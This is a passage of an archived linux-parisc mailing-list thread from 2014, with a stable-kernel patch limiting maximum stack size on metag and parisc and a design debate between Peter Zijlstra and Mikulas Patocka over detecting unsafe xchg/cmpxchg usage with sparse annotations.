> Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
> store() however they like.

Your proposal is very good because it warns about incorrect usage 
automatically.



Your usage is very similar to what my patch at the top of this thread 
does:

Instead of "__atomic struct s *p;" declaration, my patch uses
"atomic_pointer(struct s*) p;" as the declaration
Instead of store(&p, v), my patch uses atomic_pointer_set(&p, v);
Instead of load(&p), my patch uses atomic_pointer_get(&p);
Instead of xchg(&p, v), my patch uses atomic_pointer_xchg(&p, v);
Instead of cmpxchg(&p, v1, v2), my patch uses atomic_pointer_cmpxchg(&p1, v1, v2);

> But its horrible, and doesn't have any benefit afaict.

See the five cases above - why do you say that the operation on the left 
is good and the operation on the right is horrible? To me, it looks like 
they are both similar, they are just named differently. Both check the 
type of the pointer and warns if the user passes incompatible pointer. If 
I rename the operations in my patch to store(), load(), xchg(), cmpxchg(), 
would you like it?


My patch has advantage (over your #define __atomic 
__attribute__((address_space(5))) ) that it checks the mismatches at 
compile time. Your proposal only check them with sparse. But either way - 
it is very good that the mismatches are being checked automatically.




We need some method to catch these races automatically. There are places 
where people xchg() or cmpxchg() with direct modifications, see for 
example this:


$ grep -w mnt_expiry_mark */*.c
fs/namespace.c:         if (unlikely(m->mnt_expiry_mark))
fs/namespace.c:                 m->mnt_expiry_mark = 0;
fs/namespace.c:         if (!xchg(&mnt->mnt_expiry_mark, 1))
fs/namespace.c: /* we mustn't call path_put() as that would clear mnt_expiry_mark */
fs/namespace.c:         if (!xchg(&mnt->mnt_expiry_mark, 1) ||

$ grep "sub_info->complete" */*.c
kernel/kmod.c:  struct completion *comp = xchg(&sub_info->complete, NULL);
kernel/kmod.c:  sub_info->complete = &done;
kernel/kmod.c:          if (xchg(&sub_info->complete, NULL))

$ grep -w "fdt->fd" */*.c
fs/file.c:      free_fdmem(fdt->fd);
fs/file.c:      fdt->fd = data;
fs/file.c:      free_fdmem(fdt->fd);
fs/file.c:                              struct file * file = xchg(&fdt->fd[i], NULL);
fs/file.c:      if (rcu_access_pointer(fdt->fd[fd]) != NULL) {
fs/file.c:              rcu_assign_pointer(fdt->fd[fd], NULL);
fs/file.c:      BUG_ON(fdt->fd[fd] != NULL);
fs/file.c:      rcu_assign_pointer(fdt->fd[fd], file);
fs/file.c:      file = fdt->fd[fd];
fs/file.c:      rcu_assign_pointer(fdt->fd[fd], NULL);
fs/file.c:                      file = fdt->fd[fd];
fs/file.c:                      rcu_assign_pointer(fdt->fd[fd], NULL);
fs/file.c:      tofree = fdt->fd[fd];
fs/file.c:      rcu_assign_pointer(fdt->fd[fd], file);
fs/file.c:              file = rcu_dereference_check_fdtable(files, fdt->fd[n]);

$ grep -w exit_state */*.c
fs/exec.c:                      if (likely(leader->exit_state))
fs/exec.c:              BUG_ON(leader->exit_state != EXIT_ZOMBIE);
fs/exec.c:              leader->exit_state = EXIT_DEAD;
kernel/exit.c:  if (leader != p && thread_group_empty(leader) && leader->exit_state == EXIT_ZOMBIE) {
kernel/exit.c:                  leader->exit_state = EXIT_DEAD;
kernel/exit.c:              (p->exit_state && thread_group_empty(p)) ||
kernel/exit.c:  if (p->exit_state == EXIT_DEAD)
kernel/exit.c:      p->exit_state == EXIT_ZOMBIE && thread_group_empty(p)) {
kernel/exit.c:                  p->exit_state = EXIT_DEAD;
kernel/exit.c:  tsk->exit_state = autoreap ? EXIT_DEAD : EXIT_ZOMBIE;
kernel/exit.c:  if (cmpxchg(&p->exit_state, EXIT_ZOMBIE, state) != EXIT_ZOMBIE)
kernel/exit.c:          p->exit_state = state;
kernel/exit.c:  if (unlikely(p->exit_state == EXIT_DEAD))
kernel/exit.c:  if (unlikely(p->exit_state == EXIT_TRACE)) {
kernel/exit.c:  if (p->exit_state == EXIT_ZOMBIE) {
kernel/fork.c:  WARN_ON(!tsk->exit_state);
kernel/posix-cpu-timers.c:              if (unlikely(p->exit_state))
kernel/posix-cpu-timers.c:              } else if (unlikely(p->exit_state) && thread_group_empty(p)) {
kernel/ptrace.c:        if (unlikely(task->exit_state))
kernel/ptrace.c:        if (p->exit_state != EXIT_ZOMBIE)
kernel/ptrace.c:                p->exit_state = EXIT_DEAD;
kernel/ptrace.c:                if (child->exit_state)  /* already dead */
kernel/signal.c:                if (t->exit_state)
kernel/taskstats.c:             if (tsk->exit_state)
mm/oom_kill.c:  if (task->exit_state)


Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luis Henriques <luis.henriques@canonical.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ubuntu.devel.kernel.general,gmane.linux.kernel.metag
Subject: [PATCH 3.11 080/138] metag: Reduce maximum stack size to 256MB
Date: Tue,  3 Jun 2014 12:38:46 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <1401795584-22664-81-git-send-email-luis.henriques@canonical.com>
References: <1401795584-22664-1-git-send-email-luis.henriques@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1401795753 10799 80.91.229.3 (3 Jun 2014 11:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 11:42:33 +0000 (UTC)
Cc: James Hogan <james.hogan@imgtec.com>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	Luis Henriques <luis.henriques@canonical.com>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org,
	kernel-team@lists.ubuntu.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 13:42:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrn6k-0005HR-KW
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 13:42:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932841AbaFCLmC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 07:42:02 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:43643 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932833AbaFCLmA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 07:42:00 -0400
Original-Received: from bl15-147-49.dsl.telepac.pt ([188.80.147.49] helo=localhost)
	by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <luis.henriques@canonical.com>)
	id 1Wrn6D-00078y-QS; Tue, 03 Jun 2014 11:41:50 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1401795584-22664-1-git-send-email-luis.henriques@canonical.com>
X-Extended-Stable: 3.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5864 gmane.linux.kernel:1716928 gmane.linux.kernel.stable:91961 gmane.linux.ubuntu.devel.kernel.general:42091 gmane.linux.kernel.metag:220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5864>

3.11.10.11 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: James Hogan <james.hogan@imgtec.com>

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 arch/metag/include/asm/processor.h  | 2 ++
 arch/parisc/include/asm/processor.h | 2 ++
 fs/exec.c                           | 6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d1f571..3be8581af495 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a3cace..c6ee86542fec 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif
 
 #ifndef __ASSEMBLY__
diff --git a/fs/exec.c b/fs/exec.c
index e72f6bbbde2e..87e9edb36fe0 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -655,10 +655,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 15:24:39 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <20140603132439.GN30445@twins.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
 <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <20140603073613.GH11096@twins.programming.kicks-ass.net>
 <alpine.LRH.2.02.1406030341570.10639@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WFkhpfBSKA51eMK1"
X-Trace: ger.gmane.org 1401801930 24551 80.91.229.3 (3 Jun 2014 13:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 13:25:30 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 15:25:21 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WroiL-0001ry-KH
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 15:25:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753919AbaFCNZQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 09:25:16 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:45565 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753135AbaFCNZP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 09:25:15 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Wrohq-00027P-FW; Tue, 03 Jun 2014 13:24:46 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id 14FFF810F3DB; Tue,  3 Jun 2014 15:24:39 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406030341570.10639@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5865 gmane.linux.kernel:1717102
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5865>


--WFkhpfBSKA51eMK1
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 03, 2014 at 07:14:31AM -0400, Mikulas Patocka wrote:
> > So if we really want to keep supporting these platforms; I would propose
> > something like:
> >=20
> > #ifdef __CHECKER__
> > #define __atomic	__attribute__((address_space(5)))
> > #else
> > #define __atomic
> > #endif
> >=20
> > #define store(p, v)	(*(p) =3D (typeof(*(p)) __force __atomic)(v))
> > #define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))
> >=20
> > Along with changes to xchg() and cmpxchg() that require them to take
> > pointers to __atomic.
> >=20
> > That way we keep the flexibility of xchg() and cmpxchg() for being
> > (mostly) type and size invariant, and get sparse to find wrong usage.
> >=20
> > Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
> > store() however they like.
>=20
> Your proposal is very good because it warns about incorrect usage=20
> automatically.

Exactly the point.

> Your usage is very similar to what my patch at the top of this thread=20
> does:
>=20
> Instead of "__atomic struct s *p;" declaration, my patch uses
> "atomic_pointer(struct s*) p;" as the declaration
> Instead of store(&p, v), my patch uses atomic_pointer_set(&p, v);
> Instead of load(&p), my patch uses atomic_pointer_get(&p);
> Instead of xchg(&p, v), my patch uses atomic_pointer_xchg(&p, v);
> Instead of cmpxchg(&p, v1, v2), my patch uses atomic_pointer_cmpxchg(&p1,=
 v1, v2);
>=20
> > But its horrible, and doesn't have any benefit afaict.
>=20
> See the five cases above - why do you say that the operation on the left=
=20
> is good and the operation on the right is horrible? To me, it looks like=
=20
> they are both similar, they are just named differently. Both check the=20
> type of the pointer and warns if the user passes incompatible pointer. If=
=20
> I rename the operations in my patch to store(), load(), xchg(), cmpxchg()=
,=20
> would you like it?

Nope.. because the above store,load,xchg,cmpxchg are type invariant and
work for anything of size (1),2,4,(8).

So I dislike your proposal on a number of points:

 1) its got pointer in, and while the immediate problem is indeed with
 pointers, there is no reason it always should be, so we'll keep on
 introducing new APIs;

 2) its got a fixed length, nl. sizeof(void *), if we were to find
 another case which had the same problem which used 'int' we'd have to
 again create new APIs;

 3) you only fixed the one site;

 4) I'm the lazy kind and atomic_foo_* is just too much typing, let
 alone remembering all the various new atomic_foo_ APIs resulting from
 all this.

This is the place where I really miss C++ templates; and yes before
people shoot me in the head for that, I do know about all the various
pitfalls and down sides of those too.

> My patch has advantage (over your #define __atomic=20
> __attribute__((address_space(5))) ) that it checks the mismatches at=20
> compile time. Your proposal only check them with sparse. But either way -=
=20
> it is very good that the mismatches are being checked automatically.

So my proposal goes a lot further in that by making xchg() and cmpxchg()
require pointer to __atomic, all sites get coverage, not only the one
case where you found was a problem.

Yes, this requires a lot more effort, for we'll have to pretty much
audit and annotate the entire tree, but such things can be done, see for
example the introduction of __rcu.

Also, these days we get automagic emails if we introduce new sparse
fails, so it being sparse and not gcc isn't really any threshold at all.

> We need some method to catch these races automatically. There are places=
=20
> where people xchg() or cmpxchg() with direct modifications, see for=20
> example this:

Yep, so all those places will immediately stand out, the first fail will
be that those variables aren't marked __atomic, once you do that, the
direct assignment will complain about crossing the address_space marker.

Voila, sorted.

--WFkhpfBSKA51eMK1
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJTjcyWAAoJEHZH4aRLwOS6BjYP/1dyK54lrQr8N7sSFHyc3l+X
AaV/goYoXEIoQK2nRVX8Zsne1GLWhGVJvNwwa+oLM03qU0Fdx2E4EOyIEoYTAczd
tQpWH4QKzg9sG4EuBUqJ7ROO3rK+43YB9GwyXzOFX2yjzmbjGnbXk4KBOapyVelC
Gxwp3b6zHnMvfARPatMaNCqNYqMeidxvxCftgUrw6XqYzEwMBq6BrdRwhbrCXlEb
3TeXy1yCP1ldxtHmuGKImqDtUVrpHes/c6N4GQFZPFLqkxji74CdujIs5gfr0pVc
sS/u3mhOIpAMOaZ1jrnnh6Yx0x15PuQCp7Ut7VQvhyZvQkKTMWTUlbFsdfxsT0ND
miw5yZXJlGuqsuUjSm3YoLkKD5U80/+tyQe5JpAdKNAx08yGLgecGAr3ou0o1vzX
PmX+qU3R95NfQaRWRdIL+KqC+byA+2uB5yZmxbP5Y3nu3ZXBgaMfk7K/tzL8Qt97
/Ko5xqsPGdkmMJlnPNVhvhTbKDYWlXtGKYm2C9mc6iyENj9ouIyaXO6dzq+v9HJy
vtKTSFpvGaeQpGpdeJxKsDKv2Sb90DFyLRoVCI2eBNPk6ZZwO/LLZ0wRi3YMlJkU
H2jpITn9u0LXOs4GRlFp+b/+TySDEmXbK2Bxy9YPrxRkwR3pt4HojnY05xM1Bayh
XFLht5ElNrS8wBhm3gd3
=npg2
-----END PGP SIGNATURE-----

--WFkhpfBSKA51eMK1--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 10:18:05 -0400 (EDT)
Lines: 114
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406031007420.15434@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com> <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com> <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com> <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <20140603073613.GH11096@twins.programming.kicks-ass.net> <alpine.LRH.2.02.1406030341570.10639@file01.intranet.prod.int.rdu2.redhat.com> <20140603132439.GN30445@twins.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401805181 1620 80.91.229.3 (3 Jun 2014 14:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 14:19:41 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 16:19:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrpYo-00063e-I0
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 16:19:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753785AbaFCOT3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 10:19:29 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:64763 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752926AbaFCOT1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 10:19:27 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s53EI9xF032433
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Tue, 3 Jun 2014 10:18:09 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s53EI8Pn016290
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 3 Jun 2014 10:18:08 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s53EI7Zc006271;
	Tue, 3 Jun 2014 10:18:07 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s53EI5lQ006267;
	Tue, 3 Jun 2014 10:18:06 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140603132439.GN30445@twins.programming.kicks-ass.net>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5866 gmane.linux.kernel:1717138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5866>



On Tue, 3 Jun 2014, Peter Zijlstra wrote:

> On Tue, Jun 03, 2014 at 07:14:31AM -0400, Mikulas Patocka wrote:
> > > So if we really want to keep supporting these platforms; I would propose
> > > something like:
> > > 
> > > #ifdef __CHECKER__
> > > #define __atomic	__attribute__((address_space(5)))
> > > #else
> > > #define __atomic
> > > #endif
> > > 
> > > #define store(p, v)	(*(p) = (typeof(*(p)) __force __atomic)(v))
> > > #define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))
> > > 
> > > Along with changes to xchg() and cmpxchg() that require them to take
> > > pointers to __atomic.
> > > 
> > > That way we keep the flexibility of xchg() and cmpxchg() for being
> > > (mostly) type and size invariant, and get sparse to find wrong usage.
> > > 
> > > Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
> > > store() however they like.
> > 
> > Your proposal is very good because it warns about incorrect usage 
> > automatically.
> 
> Exactly the point.
> 
> > Your usage is very similar to what my patch at the top of this thread 
> > does:
> > 
> > Instead of "__atomic struct s *p;" declaration, my patch uses
> > "atomic_pointer(struct s*) p;" as the declaration
> > Instead of store(&p, v), my patch uses atomic_pointer_set(&p, v);
> > Instead of load(&p), my patch uses atomic_pointer_get(&p);
> > Instead of xchg(&p, v), my patch uses atomic_pointer_xchg(&p, v);
> > Instead of cmpxchg(&p, v1, v2), my patch uses atomic_pointer_cmpxchg(&p1, v1, v2);
> > 
> > > But its horrible, and doesn't have any benefit afaict.
> > 
> > See the five cases above - why do you say that the operation on the left 
> > is good and the operation on the right is horrible? To me, it looks like 
> > they are both similar, they are just named differently. Both check the 
> > type of the pointer and warns if the user passes incompatible pointer. If 
> > I rename the operations in my patch to store(), load(), xchg(), cmpxchg(), 
> > would you like it?
> 
> Nope.. because the above store,load,xchg,cmpxchg are type invariant and
> work for anything of size (1),2,4,(8).
> 
> So I dislike your proposal on a number of points:
> 
>  1) its got pointer in, and while the immediate problem is indeed with
>  pointers, there is no reason it always should be, so we'll keep on
>  introducing new APIs;
> 
>  2) its got a fixed length, nl. sizeof(void *), if we were to find
>  another case which had the same problem which used 'int' we'd have to
>  again create new APIs;
> 
>  3) you only fixed the one site;
> 
>  4) I'm the lazy kind and atomic_foo_* is just too much typing, let
>  alone remembering all the various new atomic_foo_ APIs resulting from
>  all this.
> 
> This is the place where I really miss C++ templates; and yes before
> people shoot me in the head for that, I do know about all the various
> pitfalls and down sides of those too.
> 
> > My patch has advantage (over your #define __atomic 
> > __attribute__((address_space(5))) ) that it checks the mismatches at 
> > compile time. Your proposal only check them with sparse. But either way - 
> > it is very good that the mismatches are being checked automatically.
> 
> So my proposal goes a lot further in that by making xchg() and cmpxchg()
> require pointer to __atomic, all sites get coverage, not only the one
> case where you found was a problem.
> 
> Yes, this requires a lot more effort, for we'll have to pretty much
> audit and annotate the entire tree, but such things can be done, see for
> example the introduction of __rcu.
> 
> Also, these days we get automagic emails if we introduce new sparse
> fails, so it being sparse and not gcc isn't really any threshold at all.
> 
> > We need some method to catch these races automatically. There are places 
> > where people xchg() or cmpxchg() with direct modifications, see for 
> > example this:
> 
> Yep, so all those places will immediately stand out, the first fail will
> be that those variables aren't marked __atomic, once you do that, the
> direct assignment will complain about crossing the address_space marker.
> 
> Voila, sorted.

I originally wanted to remove PA-RISC xchg and cmpxchg, force compile 
failure on places where it is used and convert them to atomic operations. 
But there's a lot of such places, the patch would be big and it would 
probably trigger some compile failures in configurations that I can't 
test.

So, I agree that your approch with sparse tagging is better, it only warns 
about unsafe use and it won't be breaking compilation for so many people.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
